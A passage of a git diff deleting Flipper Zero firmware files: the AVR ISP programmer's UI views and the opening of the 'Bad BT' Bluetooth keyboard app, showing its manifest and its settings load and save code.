AvrIspChipDetectViewStateDetected) { - if(instance->callback) - instance->callback( - AvrIspCustomEventSceneChipDetectOk, instance->context); - } - }, - false); - - } else if(event->key == InputKeyLeft) { - bool detect_chip = false; - with_view_model( - instance->view, - AvrIspChipDetectViewModel * model, - { - if(model->state != AvrIspChipDetectViewStateDetecting) { - model->state = AvrIspChipDetectViewStateDetecting; - detect_chip = true; - } - }, - false); - if(detect_chip) avr_isp_worker_rw_detect_chip(instance->avr_isp_worker_rw); - } - } else { - return false; - } - - return true; -} - -static void avr_isp_chip_detect_detect_chip_callback( - void* context, - const char* name, - bool detect_chip, - uint32_t flash_size) { - furi_assert(context); - - AvrIspChipDetectView* instance = context; - with_view_model( - instance->view, - AvrIspChipDetectViewModel * model, - { - model->name_chip = name; - model->flash_size = flash_size; - if(detect_chip) { - model->state = AvrIspChipDetectViewStateDetected; - } else { - model->state = AvrIspChipDetectViewStateNoDetect; - } - }, - true); -} -void avr_isp_chip_detect_view_enter(void* context) { - furi_assert(context); - - AvrIspChipDetectView* instance = context; - bool detect_chip = false; - with_view_model( - instance->view, - AvrIspChipDetectViewModel * model, - { - if(model->state == AvrIspChipDetectViewStateNoDetect || - model->state == AvrIspChipDetectViewStateDetected) { - detect_chip = true; - } - }, - false); - - //Start avr_isp_worker_rw - instance->avr_isp_worker_rw = avr_isp_worker_rw_alloc(instance->context); - - avr_isp_worker_rw_set_callback( - instance->avr_isp_worker_rw, avr_isp_chip_detect_detect_chip_callback, instance); - - if(detect_chip) avr_isp_worker_rw_detect_chip(instance->avr_isp_worker_rw); -} - -void avr_isp_chip_detect_view_exit(void* context) { - furi_assert(context); - - AvrIspChipDetectView* instance = context; - - avr_isp_worker_rw_set_callback(instance->avr_isp_worker_rw, NULL, NULL); - avr_isp_worker_rw_free(instance->avr_isp_worker_rw); -} - -AvrIspChipDetectView* avr_isp_chip_detect_view_alloc() { - AvrIspChipDetectView* instance = malloc(sizeof(AvrIspChipDetectView)); - - // View allocation and configuration - instance->view = view_alloc(); - - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(AvrIspChipDetectViewModel)); - view_set_context(instance->view, instance); - view_set_draw_callback(instance->view, (ViewDrawCallback)avr_isp_chip_detect_view_draw); - view_set_input_callback(instance->view, avr_isp_chip_detect_view_input); - view_set_enter_callback(instance->view, avr_isp_chip_detect_view_enter); - view_set_exit_callback(instance->view, avr_isp_chip_detect_view_exit); - - with_view_model( - instance->view, - AvrIspChipDetectViewModel * model, - { model->state = AvrIspChipDetectViewStateNoDetect; }, - false); - return instance; -} - -void avr_isp_chip_detect_view_free(AvrIspChipDetectView* instance) { - furi_assert(instance); - - view_free(instance->view); - free(instance); -} - -View* avr_isp_chip_detect_view_get_view(AvrIspChipDetectView* instance) { - furi_assert(instance); - - return instance->view; -} diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_chip_detect.h b/applications/external/avr_isp_programmer/views/avr_isp_view_chip_detect.h deleted file mode 100644 index 37f2ae233..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_chip_detect.h +++ /dev/null @@ -1,32 +0,0 @@ -#pragma once - -#include -#include "../helpers/avr_isp_types.h" -#include "../helpers/avr_isp_event.h" - -typedef struct AvrIspChipDetectView AvrIspChipDetectView; - -typedef void (*AvrIspChipDetectViewCallback)(AvrIspCustomEvent event, void* context); - -typedef enum { - AvrIspChipDetectViewStateNoDetect, - AvrIspChipDetectViewStateDetecting, - AvrIspChipDetectViewStateDetected, - AvrIspChipDetectViewStateErrorOccured, - AvrIspChipDetectViewStateErrorVerification, -} AvrIspChipDetectViewState; - -void avr_isp_chip_detect_view_set_callback( - AvrIspChipDetectView* instance, - AvrIspChipDetectViewCallback callback, - void* context); - -void avr_isp_chip_detect_set_state(AvrIspChipDetectView* instance, AvrIspChipDetectViewState state); - -AvrIspChipDetectView* avr_isp_chip_detect_view_alloc(); - -void avr_isp_chip_detect_view_free(AvrIspChipDetectView* instance); - -View* avr_isp_chip_detect_view_get_view(AvrIspChipDetectView* instance); - -void avr_isp_chip_detect_view_exit(void* context); diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_programmer.c b/applications/external/avr_isp_programmer/views/avr_isp_view_programmer.c deleted file mode 100644 index 34e18770b..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_programmer.c +++ /dev/null @@ -1,134 +0,0 @@ -#include "avr_isp_view_programmer.h" -#include - -#include "../helpers/avr_isp_worker.h" -#include - -struct AvrIspProgrammerView { - View* view; - AvrIspWorker* worker; - AvrIspProgrammerViewCallback callback; - void* context; -}; - -typedef struct { - AvrIspProgrammerViewStatus status; -} AvrIspProgrammerViewModel; - -void avr_isp_programmer_view_set_callback( - AvrIspProgrammerView* instance, - AvrIspProgrammerViewCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - - instance->callback = callback; - instance->context = context; -} - -void avr_isp_programmer_view_draw(Canvas* canvas, AvrIspProgrammerViewModel* model) { - canvas_clear(canvas); - - if(model->status == AvrIspProgrammerViewStatusUSBConnect) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_icon(canvas, 0, 0, &I_isp_active_128x53); - elements_multiline_text(canvas, 45, 10, "ISP mode active"); - } else { - canvas_set_font(canvas, FontSecondary); - canvas_draw_icon(canvas, 51, 6, &I_link_waiting_77x56); - elements_multiline_text(canvas, 0, 25, "Waiting for\nsoftware\nconnection"); - } -} - -bool avr_isp_programmer_view_input(InputEvent* event, void* context) { - furi_assert(context); - UNUSED(context); - - if(event->key == InputKeyBack || event->type != InputTypeShort) { - return false; - } - - return true; -} - -static void avr_isp_programmer_usb_connect_callback(void* context, bool status_connect) { - furi_assert(context); - AvrIspProgrammerView* instance = context; - - with_view_model( - instance->view, - AvrIspProgrammerViewModel * model, - { - if(status_connect) { - model->status = AvrIspProgrammerViewStatusUSBConnect; - } else { - model->status = AvrIspProgrammerViewStatusNoUSBConnect; - } - }, - true); -} - -void avr_isp_programmer_view_enter(void* context) { - furi_assert(context); - - AvrIspProgrammerView* instance = context; - with_view_model( - instance->view, - AvrIspProgrammerViewModel * model, - { model->status = AvrIspProgrammerViewStatusNoUSBConnect; }, - true); - - //Start worker - instance->worker = avr_isp_worker_alloc(instance->context); - - avr_isp_worker_set_callback( - instance->worker, avr_isp_programmer_usb_connect_callback, instance); - - avr_isp_worker_start(instance->worker); -} - -void avr_isp_programmer_view_exit(void* context) { - furi_assert(context); - - AvrIspProgrammerView* instance = context; - //Stop worker - if(avr_isp_worker_is_running(instance->worker)) { - avr_isp_worker_stop(instance->worker); - } - avr_isp_worker_set_callback(instance->worker, NULL, NULL); - avr_isp_worker_free(instance->worker); -} - -AvrIspProgrammerView* avr_isp_programmer_view_alloc() { - AvrIspProgrammerView* instance = malloc(sizeof(AvrIspProgrammerView)); - - // View allocation and configuration - instance->view = view_alloc(); - - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(AvrIspProgrammerViewModel)); - view_set_context(instance->view, instance); - view_set_draw_callback(instance->view, (ViewDrawCallback)avr_isp_programmer_view_draw); - view_set_input_callback(instance->view, avr_isp_programmer_view_input); - view_set_enter_callback(instance->view, avr_isp_programmer_view_enter); - view_set_exit_callback(instance->view, avr_isp_programmer_view_exit); - - with_view_model( - instance->view, - AvrIspProgrammerViewModel * model, - { model->status = AvrIspProgrammerViewStatusNoUSBConnect; }, - false); - return instance; -} - -void avr_isp_programmer_view_free(AvrIspProgrammerView* instance) { - furi_assert(instance); - - view_free(instance->view); - free(instance); -} - -View* avr_isp_programmer_view_get_view(AvrIspProgrammerView* instance) { - furi_assert(instance); - - return instance->view; -} diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_programmer.h b/applications/external/avr_isp_programmer/views/avr_isp_view_programmer.h deleted file mode 100644 index 9f005b026..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_programmer.h +++ /dev/null @@ -1,27 +0,0 @@ -#pragma once - -#include -#include "../helpers/avr_isp_types.h" -#include "../helpers/avr_isp_event.h" - -typedef struct AvrIspProgrammerView AvrIspProgrammerView; - -typedef void (*AvrIspProgrammerViewCallback)(AvrIspCustomEvent event, void* context); - -typedef enum { - AvrIspProgrammerViewStatusNoUSBConnect, - AvrIspProgrammerViewStatusUSBConnect, -} AvrIspProgrammerViewStatus; - -void avr_isp_programmer_view_set_callback( - AvrIspProgrammerView* instance, - AvrIspProgrammerViewCallback callback, - void* context); - -AvrIspProgrammerView* avr_isp_programmer_view_alloc(); - -void avr_isp_programmer_view_free(AvrIspProgrammerView* instance); - -View* avr_isp_programmer_view_get_view(AvrIspProgrammerView* instance); - -void avr_isp_programmer_view_exit(void* context); diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_reader.c b/applications/external/avr_isp_programmer/views/avr_isp_view_reader.c deleted file mode 100644 index 92d15bd7f..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_reader.c +++ /dev/null @@ -1,215 +0,0 @@ -#include "avr_isp_view_reader.h" -#include - -#include "../helpers/avr_isp_worker_rw.h" - -struct AvrIspReaderView { - View* view; - AvrIspWorkerRW* avr_isp_worker_rw; - const char* file_path; - const char* file_name; - AvrIspReaderViewCallback callback; - void* context; -}; - -typedef struct { - AvrIspReaderViewStatus status; - float progress_flash; - float progress_eeprom; -} AvrIspReaderViewModel; - -void avr_isp_reader_update_progress(AvrIspReaderView* instance) { - with_view_model( - instance->view, - AvrIspReaderViewModel * model, - { - model->progress_flash = - avr_isp_worker_rw_get_progress_flash(instance->avr_isp_worker_rw); - model->progress_eeprom = - avr_isp_worker_rw_get_progress_eeprom(instance->avr_isp_worker_rw); - }, - true); -} - -void avr_isp_reader_view_set_callback( - AvrIspReaderView* instance, - AvrIspReaderViewCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - - instance->callback = callback; - instance->context = context; -} - -void avr_isp_reader_set_file_path( - AvrIspReaderView* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - - instance->file_path = file_path; - instance->file_name = file_name; -} - -void avr_isp_reader_view_draw(Canvas* canvas, AvrIspReaderViewModel* model) { - canvas_clear(canvas); - char str_buf[64] = {0}; - - canvas_set_font(canvas, FontPrimary); - switch(model->status) { - case AvrIspReaderViewStatusIDLE: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Press start to dump"); - canvas_set_font(canvas, FontSecondary); - elements_button_center(canvas, "Start"); - break; - case AvrIspReaderViewStatusReading: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Reading dump"); - break; - case AvrIspReaderViewStatusVerification: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Verifyng dump"); - break; - - default: - break; - } - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 27, "Flash"); - snprintf(str_buf, sizeof(str_buf), "%d%%", (uint8_t)(model->progress_flash * 100)); - elements_progress_bar_with_text(canvas, 44, 17, 84, model->progress_flash, str_buf); - canvas_draw_str(canvas, 0, 43, "EEPROM"); - snprintf(str_buf, sizeof(str_buf), "%d%%", (uint8_t)(model->progress_eeprom * 100)); - elements_progress_bar_with_text(canvas, 44, 34, 84, model->progress_eeprom, str_buf); -} - -bool avr_isp_reader_view_input(InputEvent* event, void* context) { - furi_assert(context); - AvrIspReaderView* instance = context; - - bool ret = true; - if(event->key == InputKeyBack && event->type == InputTypeShort) { - with_view_model( - instance->view, - AvrIspReaderViewModel * model, - { - if(model->status == AvrIspReaderViewStatusIDLE) { - if(instance->callback) - instance->callback(AvrIspCustomEventSceneExit, instance->context); - ret = false; - } - }, - false); - } else if(event->key == InputKeyOk && event->type == InputTypeShort) { - with_view_model( - instance->view, - AvrIspReaderViewModel * model, - { - if(model->status == AvrIspReaderViewStatusIDLE) { - model->status = AvrIspReaderViewStatusReading; - avr_isp_worker_rw_read_dump_start( - instance->avr_isp_worker_rw, instance->file_path, instance->file_name); - } - }, - false); - } - return ret; -} - -static void avr_isp_reader_callback_status(void* context, AvrIspWorkerRWStatus status) { - furi_assert(context); - AvrIspReaderView* instance = context; - - with_view_model( - instance->view, - AvrIspReaderViewModel * model, - { - switch(status) { - case AvrIspWorkerRWStatusEndReading: - model->status = AvrIspReaderViewStatusVerification; - avr_isp_worker_rw_verification_start( - instance->avr_isp_worker_rw, instance->file_path, instance->file_name); - model->status = AvrIspReaderViewStatusVerification; - break; - case AvrIspWorkerRWStatusEndVerification: - if(instance->callback) - instance->callback(AvrIspCustomEventSceneReadingOk, instance->context); - break; - case AvrIspWorkerRWStatusErrorVerification: - if(instance->callback) - instance->callback(AvrIspCustomEventSceneErrorVerification, instance->context); - break; - - default: - //AvrIspWorkerRWStatusErrorReading; - if(instance->callback) - instance->callback(AvrIspCustomEventSceneErrorReading, instance->context); - break; - } - }, - true); -} - -void avr_isp_reader_view_enter(void* context) { - furi_assert(context); - AvrIspReaderView* instance = context; - - with_view_model( - instance->view, - AvrIspReaderViewModel * model, - { - model->status = AvrIspReaderViewStatusIDLE; - model->progress_flash = 0.0f; - model->progress_eeprom = 0.0f; - }, - true); - - //Start avr_isp_worker_rw - instance->avr_isp_worker_rw = avr_isp_worker_rw_alloc(instance->context); - - avr_isp_worker_rw_set_callback_status( - instance->avr_isp_worker_rw, avr_isp_reader_callback_status, instance); - - avr_isp_worker_rw_start(instance->avr_isp_worker_rw); -} - -void avr_isp_reader_view_exit(void* context) { - furi_assert(context); - - AvrIspReaderView* instance = context; - //Stop avr_isp_worker_rw - if(avr_isp_worker_rw_is_running(instance->avr_isp_worker_rw)) { - avr_isp_worker_rw_stop(instance->avr_isp_worker_rw); - } - - avr_isp_worker_rw_free(instance->avr_isp_worker_rw); -} - -AvrIspReaderView* avr_isp_reader_view_alloc() { - AvrIspReaderView* instance = malloc(sizeof(AvrIspReaderView)); - - // View allocation and configuration - instance->view = view_alloc(); - - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(AvrIspReaderViewModel)); - view_set_context(instance->view, instance); - view_set_draw_callback(instance->view, (ViewDrawCallback)avr_isp_reader_view_draw); - view_set_input_callback(instance->view, avr_isp_reader_view_input); - view_set_enter_callback(instance->view, avr_isp_reader_view_enter); - view_set_exit_callback(instance->view, avr_isp_reader_view_exit); - - return instance; -} - -void avr_isp_reader_view_free(AvrIspReaderView* instance) { - furi_assert(instance); - - view_free(instance->view); - free(instance); -} - -View* avr_isp_reader_view_get_view(AvrIspReaderView* instance) { - furi_assert(instance); - - return instance->view; -} diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_reader.h b/applications/external/avr_isp_programmer/views/avr_isp_view_reader.h deleted file mode 100644 index 44a439948..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_reader.h +++ /dev/null @@ -1,35 +0,0 @@ -#pragma once - -#include -#include "../helpers/avr_isp_types.h" -#include "../helpers/avr_isp_event.h" - -typedef struct AvrIspReaderView AvrIspReaderView; - -typedef void (*AvrIspReaderViewCallback)(AvrIspCustomEvent event, void* context); - -typedef enum { - AvrIspReaderViewStatusIDLE, - AvrIspReaderViewStatusReading, - AvrIspReaderViewStatusVerification, -} AvrIspReaderViewStatus; - -void avr_isp_reader_update_progress(AvrIspReaderView* instance); - -void avr_isp_reader_set_file_path( - AvrIspReaderView* instance, - const char* file_path, - const char* file_name); - -void avr_isp_reader_view_set_callback( - AvrIspReaderView* instance, - AvrIspReaderViewCallback callback, - void* context); - -AvrIspReaderView* avr_isp_reader_view_alloc(); - -void avr_isp_reader_view_free(AvrIspReaderView* instance); - -View* avr_isp_reader_view_get_view(AvrIspReaderView* instance); - -void avr_isp_reader_view_exit(void* context); diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_writer.c b/applications/external/avr_isp_programmer/views/avr_isp_view_writer.c deleted file mode 100644 index a06b78535..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_writer.c +++ /dev/null @@ -1,268 +0,0 @@ -#include "avr_isp_view_writer.h" -#include - -#include "../helpers/avr_isp_worker_rw.h" -#include - -struct AvrIspWriterView { - View* view; - AvrIspWorkerRW* avr_isp_worker_rw; - const char* file_path; - const char* file_name; - AvrIspWriterViewCallback callback; - void* context; -}; - -typedef struct { - AvrIspWriterViewStatus status; - float progress_flash; - float progress_eeprom; -} AvrIspWriterViewModel; - -void avr_isp_writer_update_progress(AvrIspWriterView* instance) { - with_view_model( - instance->view, - AvrIspWriterViewModel * model, - { - model->progress_flash = - avr_isp_worker_rw_get_progress_flash(instance->avr_isp_worker_rw); - model->progress_eeprom = - avr_isp_worker_rw_get_progress_eeprom(instance->avr_isp_worker_rw); - }, - true); -} - -void avr_isp_writer_view_set_callback( - AvrIspWriterView* instance, - AvrIspWriterViewCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - - instance->callback = callback; - instance->context = context; -} - -void avr_isp_writer_set_file_path( - AvrIspWriterView* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - - instance->file_path = file_path; - instance->file_name = file_name; -} - -void avr_isp_writer_view_draw(Canvas* canvas, AvrIspWriterViewModel* model) { - canvas_clear(canvas); - char str_flash[32] = {0}; - char str_eeprom[32] = {0}; - - canvas_set_font(canvas, FontPrimary); - - switch(model->status) { - case AvrIspWriterViewStatusIDLE: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Press start to write"); - canvas_set_font(canvas, FontSecondary); - elements_button_center(canvas, "Start"); - snprintf(str_flash, sizeof(str_flash), "%d%%", (uint8_t)(model->progress_flash * 100)); - snprintf(str_eeprom, sizeof(str_eeprom), "%d%%", (uint8_t)(model->progress_eeprom * 100)); - break; - case AvrIspWriterViewStatusWriting: - if(float_is_equal(model->progress_flash, 0.f)) { - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Verifying firmware"); - snprintf(str_flash, sizeof(str_flash), "***"); - snprintf(str_eeprom, sizeof(str_eeprom), "***"); - } else { - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Writing dump"); - snprintf(str_flash, sizeof(str_flash), "%d%%", (uint8_t)(model->progress_flash * 100)); - snprintf( - str_eeprom, sizeof(str_eeprom), "%d%%", (uint8_t)(model->progress_eeprom * 100)); - } - break; - case AvrIspWriterViewStatusVerification: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Verifying dump"); - snprintf(str_flash, sizeof(str_flash), "%d%%", (uint8_t)(model->progress_flash * 100)); - snprintf(str_eeprom, sizeof(str_eeprom), "%d%%", (uint8_t)(model->progress_eeprom * 100)); - break; - case AvrIspWriterViewStatusWritingFuse: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Writing fuse"); - snprintf(str_flash, sizeof(str_flash), "%d%%", (uint8_t)(model->progress_flash * 100)); - snprintf(str_eeprom, sizeof(str_eeprom), "%d%%", (uint8_t)(model->progress_eeprom * 100)); - break; - case AvrIspWriterViewStatusWritingFuseOk: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Done!"); - snprintf(str_flash, sizeof(str_flash), "%d%%", (uint8_t)(model->progress_flash * 100)); - snprintf(str_eeprom, sizeof(str_eeprom), "%d%%", (uint8_t)(model->progress_eeprom * 100)); - canvas_set_font(canvas, FontSecondary); - elements_button_center(canvas, "Reflash"); - elements_button_right(canvas, "Exit"); - break; - - default: - break; - } - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 27, "Flash"); - // snprintf(str_buf, sizeof(str_buf), "%d%%", (uint8_t)(model->progress_flash * 100)); - elements_progress_bar_with_text(canvas, 44, 17, 84, model->progress_flash, str_flash); - canvas_draw_str(canvas, 0, 43, "EEPROM"); - // snprintf(str_buf, sizeof(str_buf), "%d%%", (uint8_t)(model->progress_eeprom * 100)); - elements_progress_bar_with_text(canvas, 44, 34, 84, model->progress_eeprom, str_eeprom); -} - -bool avr_isp_writer_view_input(InputEvent* event, void* context) { - furi_assert(context); - AvrIspWriterView* instance = context; - - bool ret = true; - if(event->key == InputKeyBack && event->type == InputTypeShort) { - with_view_model( - instance->view, - AvrIspWriterViewModel * model, - { - if((model->status == AvrIspWriterViewStatusIDLE) || - (model->status == AvrIspWriterViewStatusWritingFuseOk)) { - if(instance->callback) - instance->callback(AvrIspCustomEventSceneExit, instance->context); - ret = false; - } - }, - false); - } else if(event->key == InputKeyOk && event->type == InputTypeShort) { - with_view_model( - instance->view, - AvrIspWriterViewModel * model, - { - if((model->status == AvrIspWriterViewStatusIDLE) || - (model->status == AvrIspWriterViewStatusWritingFuseOk)) { - model->status = AvrIspWriterViewStatusWriting; - - avr_isp_worker_rw_write_dump_start( - instance->avr_isp_worker_rw, instance->file_path, instance->file_name); - } - }, - false); - } else if(event->key == InputKeyRight && event->type == InputTypeShort) { - with_view_model( - instance->view, - AvrIspWriterViewModel * model, - { - if((model->status == AvrIspWriterViewStatusIDLE) || - (model->status == AvrIspWriterViewStatusWritingFuseOk)) { - if(instance->callback) - instance->callback(AvrIspCustomEventSceneExitStartMenu, instance->context); - ret = false; - } - }, - false); - } - return ret; -} - -static void avr_isp_writer_callback_status(void* context, AvrIspWorkerRWStatus status) { - furi_assert(context); - - AvrIspWriterView* instance = context; - with_view_model( - instance->view, - AvrIspWriterViewModel * model, - { - switch(status) { - case AvrIspWorkerRWStatusEndWriting: - model->status = AvrIspWriterViewStatusVerification; - avr_isp_worker_rw_verification_start( - instance->avr_isp_worker_rw, instance->file_path, instance->file_name); - model->status = AvrIspWriterViewStatusVerification; - break; - case AvrIspWorkerRWStatusErrorVerification: - if(instance->callback) - instance->callback(AvrIspCustomEventSceneErrorVerification, instance->context); - break; - case AvrIspWorkerRWStatusEndVerification: - avr_isp_worker_rw_write_fuse_start( - instance->avr_isp_worker_rw, instance->file_path, instance->file_name); - model->status = AvrIspWriterViewStatusWritingFuse; - break; - case AvrIspWorkerRWStatusErrorWritingFuse: - if(instance->callback) - instance->callback(AvrIspCustomEventSceneErrorWritingFuse, instance->context); - break; - case AvrIspWorkerRWStatusEndWritingFuse: - model->status = AvrIspWriterViewStatusWritingFuseOk; - break; - - default: - //AvrIspWorkerRWStatusErrorWriting; - if(instance->callback) - instance->callback(AvrIspCustomEventSceneErrorWriting, instance->context); - break; - } - }, - true); -} - -void avr_isp_writer_view_enter(void* context) { - furi_assert(context); - - AvrIspWriterView* instance = context; - with_view_model( - instance->view, - AvrIspWriterViewModel * model, - { - model->status = AvrIspWriterViewStatusIDLE; - model->progress_flash = 0.0f; - model->progress_eeprom = 0.0f; - }, - true); - - //Start avr_isp_worker_rw - instance->avr_isp_worker_rw = avr_isp_worker_rw_alloc(instance->context); - - avr_isp_worker_rw_set_callback_status( - instance->avr_isp_worker_rw, avr_isp_writer_callback_status, instance); - - avr_isp_worker_rw_start(instance->avr_isp_worker_rw); -} - -void avr_isp_writer_view_exit(void* context) { - furi_assert(context); - AvrIspWriterView* instance = context; - - //Stop avr_isp_worker_rw - if(avr_isp_worker_rw_is_running(instance->avr_isp_worker_rw)) { - avr_isp_worker_rw_stop(instance->avr_isp_worker_rw); - } - - avr_isp_worker_rw_free(instance->avr_isp_worker_rw); -} - -AvrIspWriterView* avr_isp_writer_view_alloc() { - AvrIspWriterView* instance = malloc(sizeof(AvrIspWriterView)); - - // View allocation and configuration - instance->view = view_alloc(); - - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(AvrIspWriterViewModel)); - view_set_context(instance->view, instance); - view_set_draw_callback(instance->view, (ViewDrawCallback)avr_isp_writer_view_draw); - view_set_input_callback(instance->view, avr_isp_writer_view_input); - view_set_enter_callback(instance->view, avr_isp_writer_view_enter); - view_set_exit_callback(instance->view, avr_isp_writer_view_exit); - - return instance; -} - -void avr_isp_writer_view_free(AvrIspWriterView* instance) { - furi_assert(instance); - - view_free(instance->view); - free(instance); -} - -View* avr_isp_writer_view_get_view(AvrIspWriterView* instance) { - furi_assert(instance); - - return instance->view; -} diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_writer.h b/applications/external/avr_isp_programmer/views/avr_isp_view_writer.h deleted file mode 100644 index 1ff728387..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_writer.h +++ /dev/null @@ -1,37 +0,0 @@ -#pragma once - -#include -#include "../helpers/avr_isp_types.h" -#include "../helpers/avr_isp_event.h" - -typedef struct AvrIspWriterView AvrIspWriterView; - -typedef void (*AvrIspWriterViewCallback)(AvrIspCustomEvent event, void* context); - -typedef enum { - AvrIspWriterViewStatusIDLE, - AvrIspWriterViewStatusWriting, - AvrIspWriterViewStatusVerification, - AvrIspWriterViewStatusWritingFuse, - AvrIspWriterViewStatusWritingFuseOk, -} AvrIspWriterViewStatus; - -void avr_isp_writer_update_progress(AvrIspWriterView* instance); - -void avr_isp_writer_set_file_path( - AvrIspWriterView* instance, - const char* file_path, - const char* file_name); - -void avr_isp_writer_view_set_callback( - AvrIspWriterView* instance, - AvrIspWriterViewCallback callback, - void* context); - -AvrIspWriterView* avr_isp_writer_view_alloc(); - -void avr_isp_writer_view_free(AvrIspWriterView* instance); - -View* avr_isp_writer_view_get_view(AvrIspWriterView* instance); - -void avr_isp_writer_view_exit(void* context); diff --git a/applications/external/bad_bt/application.fam b/applications/external/bad_bt/application.fam deleted file mode 100644 index 981c0c0c0..000000000 --- a/applications/external/bad_bt/application.fam +++ /dev/null @@ -1,16 +0,0 @@ -App( - appid="bad_bt", - name="Bad BT", - apptype=FlipperAppType.EXTERNAL, - entry_point="bad_bt_app", - requires=[ - "gui", - "dialogs", - ], - stack_size=2 * 1024, - order=70, - fap_libs=["assets"], - fap_category="Bluetooth", - fap_icon="images/badbt_10px.png", - fap_icon_assets="images", -) diff --git a/applications/external/bad_bt/bad_bt_app.c b/applications/external/bad_bt/bad_bt_app.c deleted file mode 100644 index 6ac7d4fa4..000000000 --- a/applications/external/bad_bt/bad_bt_app.c +++ /dev/null @@ -1,333 +0,0 @@ -#include "bad_bt_app.h" -#include -#include -#include -#include -#include - -#include -#include - -#define BAD_BT_SETTINGS_FILE_NAME ".badbt.settings" -#define BAD_BT_APP_PATH_BOUND_KEYS_FOLDER EXT_PATH("badbt") -#define BAD_BT_APP_PATH_BOUND_KEYS_FILE BAD_BT_APP_PATH_BOUND_KEYS_FOLDER "/.badbt.keys" - -#define BAD_BT_SETTINGS_PATH BAD_BT_APP_BASE_CONFIG_FOLDER "/" BAD_BT_SETTINGS_FILE_NAME - -static bool bad_bt_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - BadBtApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool bad_bt_app_back_event_callback(void* context) { - furi_assert(context); - BadBtApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void bad_bt_app_tick_event_callback(void* context) { - furi_assert(context); - BadBtApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -static void bad_bt_load_settings(BadBtApp* app) { - furi_string_reset(app->keyboard_layout); - strcpy(app->config.bt_name, ""); - memcpy( - app->config.bt_mac, - furi_hal_bt_get_profile_mac_addr(FuriHalBtProfileHidKeyboard), - BAD_BT_MAC_ADDRESS_LEN); - - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* file = flipper_format_file_alloc(storage); - if(flipper_format_file_open_existing(file, BAD_BT_SETTINGS_PATH)) { - FuriString* tmp_str = furi_string_alloc(); - if(!flipper_format_read_string(file, "Keyboard_Layout", app->keyboard_layout)) { - furi_string_reset(app->keyboard_layout); - } - if(!flipper_format_read_bool(file, "BT_Remember", &(app->bt_remember), 1)) { - app->bt_remember = false; - } - if(flipper_format_read_string(file, "Bt_Name", tmp_str) && !furi_string_empty(tmp_str)) { - strcpy(app->config.bt_name, furi_string_get_cstr(tmp_str)); - } else { - strcpy(app->config.bt_name, ""); - } - if(!flipper_format_read_hex( - file, "Bt_Mac", (uint8_t*)&app->config.bt_mac, BAD_BT_MAC_ADDRESS_LEN)) { - memcpy( - app->config.bt_mac, - furi_hal_bt_get_profile_mac_addr(FuriHalBtProfileHidKeyboard), - BAD_BT_MAC_ADDRESS_LEN); - } - furi_string_free(tmp_str); - flipper_format_file_close(file); - } - flipper_format_free(file); - - if(!furi_string_empty(app->keyboard_layout)) { - FileInfo layout_file_info; - FS_Error file_check_err = storage_common_stat( - storage, furi_string_get_cstr(app->keyboard_layout), &layout_file_info); - if(file_check_err != FSE_OK) { - furi_string_reset(app->keyboard_layout); - return; - } - if(layout_file_info.size != 256) { - furi_string_reset(app->keyboard_layout); - } - } - - furi_record_close(RECORD_STORAGE); -} - -static void bad_bt_save_settings(BadBtApp* app) { - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* file = flipper_format_file_alloc(storage); - if(flipper_format_file_open_always(file, BAD_BT_SETTINGS_PATH)) { - flipper_format_write_string(file, "Keyboard_Layout", app->keyboard_layout); - flipper_format_write_bool(file, "BT_Remember", &(app->bt_remember), 1); - flipper_format_write_string_cstr(file, "Bt_Name", app->config.bt_name); - flipper_format_write_hex( - file, "Bt_Mac", (uint8_t*)&app->config.bt_mac, BAD_BT_MAC_ADDRESS_LEN); - flipper_format_file_close(file); - } - flipper_format_free(file); - furi_record_close(RECORD_STORAGE); -} - -void bad_bt_reload_worker(BadBtApp* app) { - bad_bt_script_close(app->bad_bt_script); - app->bad_bt_script = bad_bt_script_open(app->file_path, app->bt, app); - bad_bt_script_set_keyboard_layout(app->bad_bt_script, app->keyboard_layout); -} - -void bad_kb_config_refresh_menu(BadBtApp* app) { - scene_manager_next_scene(app->scene_manager, BadBtSceneConfig); - scene_manager_previous_scene(app->scene_manager); -} - -int32_t bad_bt_config_switch_mode(BadBtApp* app) { - bad_bt_reload_worker(app); - furi_hal_bt_start_advertising(); - 